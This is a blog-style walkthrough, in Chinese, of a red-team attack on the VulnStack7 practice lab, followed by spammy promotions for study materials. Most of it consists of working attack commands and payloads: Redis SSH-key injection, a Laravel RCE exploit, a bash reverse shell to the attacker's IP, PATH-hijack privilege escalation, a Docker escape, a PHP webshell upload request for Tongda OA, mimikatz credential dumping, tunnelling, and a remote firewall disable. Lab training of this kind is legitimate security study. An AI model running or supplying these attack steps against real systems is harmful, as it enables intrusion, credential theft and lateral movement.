环境下载
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
靶场配置
DMZ IP段为192.168.1.0/24
二层网络 IP段为192.168.52.0/24
三层网络 IP段为192.168.93.0/24
VM新增虚拟网卡VMnet8、VMnet14。VMnet8为NAT模式,IP段为192.168.52.0/24;VMnet14为仅主机模式,IP段为192.168.93.0/24
VMnet14设为仅主机模式这样三层网络中的主机不能为外网通信减少被攻击的可能
DMZ区域:
给web1配置了两个网卡,一个桥接可以对外提供服务;一个VMnet8可以连接第二层网络
第二层网络区域:
web2和pc1都配置了两个网卡,一个VMnet8连接第二层网络,一个VMnet14连接第三层网络
第三层网络区域:
给win server和pc2都只配一个网卡,VMnet14连接第三网络
服务配置
靶机需要运行着才能攻击,关闭靶机再次启动各项服务需要重新启动
DMZ区的 Ubuntu 需要启动Nginx和Redis服务:
注意:服务要在root权限下运行
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F
第二层网络的 Ubuntu需要启动Docker容器:
注意:服务要在root权限下运行
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7(PC 1)需要启动通达OA:
注意:启动通达OA要管理员密码
C:\MYOA\bin\AutoConfig.exe
用户名密码:
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
实战
我的kali攻击IP为192.168.1.113
首先进行网段主机扫描
发现靶机IP192.168.1.116
扫端口
发现可能有漏洞的端口80、81、6379
80端口在我渗透时404
6379端口有未授权访问
首先下载redis-cli工具,在kali上连接192.168.1.116:6379上的redis
redis-cli -h 192.168.1.116
有了未授权,我们直接向目标主机写入ssh公钥,先在kali上生成ssh公钥
ssh-keygen -t rsa
然后将公钥导入hi.txt文件(前后用\n换行,避免和Redis了其他缓存数据混合),再把hi.txt文件内容写进目标主机的redis缓存里
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > hi.txt
cat hi.txt | redis-cli -h 192.168.1.116 -x set hello
-x 代表从标准输入读取数据作为改命令的最后一个参数
然后使用kali连接目标机器redis,将ssh公钥写进目标主机
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
使用ssh 192.168.1.116连接成功
进行信息收集发现存在52.0网段
ls /home下的文件发现有目录web
cd /etc/nginx/conf.d/
发现目录下有两个配置文件一个是80的一个是81的,80端口404报错查看81端口的配置
发现81端口进行了反向代理
81端口
发现是Laravel框架,这个版本为v8.29.0(PHP v7.4.14)
这版本存在远程代码执行漏洞,可以通过exp打,生成shell
工具地址
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
使用哥斯拉2.92版本可以直接连接
注意:高版本的哥斯拉生成的马的加密方式已经改变会导致连接失败
https://github.com/BeichenDream/Godzilla
成功连上shell
发现是个docker容器
先向kali中反弹一个shell
然后我们在kali上先开启8848端口的监听
nc -lvvp 8848
反弹shell
bash -c 'exec bash -i &>/dev/tcp/192.168.1.113/8848<&1'
kali成功上线shell
目前权限还不够让我们进一步进行渗透
目前的权限是www,我们可以利用容器操纵实体机修改ssh,进行免密登陆
现在的权限不支持我们进行这一步
所以进行提权
首先查找高权限的文件,也就是可以进行root操作的权限
使用find命令来搜索SUID或4000权限的文件
find / -perm -u=s -type f 2>/dev/null
这里查完可以知道home/jobs的shell是以高权限运行的
我们写一个恶意的ps,里面进入shell命令行,修改环境变量,让shell找ps的时候找我们写的恶意ps
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
运行shell后发现我们的权限提高成root了
此方法称为环境变量劫持
再来一个tty的交互式
python -c 'import pty; pty.spawn("/bin/bash")'
现在我们实现了www用户到root用户的权限提升,但可惜我们这台并不是实体机我们需要进行docker特权逃逸
docker特权逃逸
特权模式于版本0.6被引入docker,允许容器内的root拥有外部物理机root的权限,而此前容器内root用户拥有外部物理机普通用户权限
首先我们在docker中新建一个/hi目录用来挂载文件
mkdir /hi
尝试将/dev/sda1挂载到/hi目录里
mount /dev/sda1 /hi
我们在刚才获取的web1主机上生成一个ssh密钥
接下来将我们生成的ssh密钥写入/hi/home/ubuntu/.ssh目录的authorzed_keys文件中,写入后我们就可以使用密钥登录改机器
我们将hi.hub中的密钥写入/hi/home/ubuntu/.ssh/authorized_keys中
cp -avx /hi/home/ubuntu/.ssh/id_rsa.pub /hi/home/ubuntu/.ssh/authorized_keys
echo > /hi/home/ubuntu/.ssh/authorized_keys
echo '生成的.pub文件的内容' > /hi/home/ubuntu/.ssh/authorized_keys
然后我们查看一下是否写入成功
cat /hi/home/ubuntu/.ssh/authorized_keys
利用web1上的hi密钥进行登录
发现登入上的用户是ubuntu用户,先信息收集,发现存在93网段
发现版本为ubuntu14.04版本,此版本存在CVE-2021-3493漏洞
https://github.com/briskets/CVE-2021-3493
影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
(Linux内核版本 < 5.11)
我们首先建立一个exploit.c文件,然后将脚本内容粘贴进行,然后编译运行就可以获得权限
注意:vim保存文件首先按下ESC键进入命令模式,再按下Shift+:输入wq!进行保存
提示:vim进行脚本内容粘贴时第一行可能会没有需要手打否则会报错(一定要注意,我在做时大意了,没有闪,陷入了自我怀疑)
vim exploit.c
gcc exploit.c -o exploit
chmod +x exploit
./exploit
成功提权,接下来两台机子上线MSF进攻内网
上线MSF
首先上线web1
use exploit/multi/script/web_delivery
set target 7 # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.113
set lport 1111
run
将生成的命令在目标主机上执行,msf就成功上线
更改端口上线web2
查看一下上线的机子
路由与socks5代理
我们已经有了两个sessions,但kali与52段的主机无法进行通信,所以我们需要在web1增加一个通往192.168.52.0的路由
route add 目标网段 子网掩码 sessions号
路由转发只能将msf带进内网,而kali想要将其他攻击程序带进内网还需要搭建socks代理。
https://github.com/idlefire/ew
在kali上执行
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
将 ew_for_linux64上传给web1
在web1执行
nohup ./ew_for_linux64 -s rssocks -d 192.168.1.113 -e 1234
然后配置proxychains,将socks5服务器指向127.0.0.1:1080,之后便可以使用proxychains将我们攻击机上的程序代理进第二层网络(192.168.52.1/24)了
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
使用auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活
set rhosts 192.168.52.1-255
set threads 5
run
发现30主机,进行端口扫描
proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30
发现8080端口有nginx的http服务
在攻击机上设置号代理进行访问
发现时通达OA v11.3,该版本存在任意用户登录、文件包含和文件上传等多个漏洞
我们要下载一个火狐的插件方便代理
进行抓包
发包上图片马
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
出现图片马的路径,上传木马
使用msf multi/script/web_deliver模块上线主机
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.113
set lport 3333
run
对新上线的主机进行信息收集
ipconfig /all # 查看本机ip,所在域
systeminfo # 列出系统信息
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
whoami
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net config workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器(可能有多台)
发现93网段
域为whoamianony.org
域控为DC.whoamianony.org,IP为192.168.93.30
域管理员Administrator
将该进程迁移到64的进程上
migrate +进程号(ps命令查看进程)
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
抓到域用户bunny和管理员administrator的凭证
bunny:Bunny2021
administrator:Whoami2021
添加路由攻击93.0网段
首先kali上执行命令
./ew_for_linux64 -s lcx_listen -l 1090 -e 1235
给新上线的主机上传ew_for_Win.exe
执行
ew_for_Win.exe -s ssocksd -l 999
给web1执行
./ew_for_linux64 -s lcx_slave -d 192.168.1.113 -e 1235 -f 192.168.52.30 -g 999
跟之前一样扫描存活主机
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run
发现40有445,打个永恒之蓝
setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit
失败
把矛头执行40也就是DC,有了管理员和密码,使用psexec模块攻击
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set lport 9999
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run
同样不行
可能是防火墙的原因
我们使用上线的win7远程关闭域控的防火墙
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall
再次执行
成功拿下,pc2拿不下,考虑cs
cs
很可惜pc2依旧没有拿下(不知道为什么)
小结
这个靶场搭建了一下午(包括下载解压)
渗透第二层内网花了一天
渗透第三层内网花了一天
cs又花了一天
这个靶场还是有很多的知识可以学习,我也查询了很多的文章尝试不同的方法
自主搭建的三层网络域渗透靶场打靶记录 -
FreeBuf网络安全行业门户
红日靶场 VulnStack7 - Erichas - 博客园
(cnblogs.com)
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,### 如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)
👉网安(嘿客)全套学习视频👈
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
👉网安(嘿客红蓝对抗)所有方向的学习路线****👈
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
学习资料工具包
压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。
面试题资料
独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
👉嘿客必备开发工具👈
工欲善其事必先利其器。学习嘿客常用的开发软件都在这里了,给大家节省了很多时间。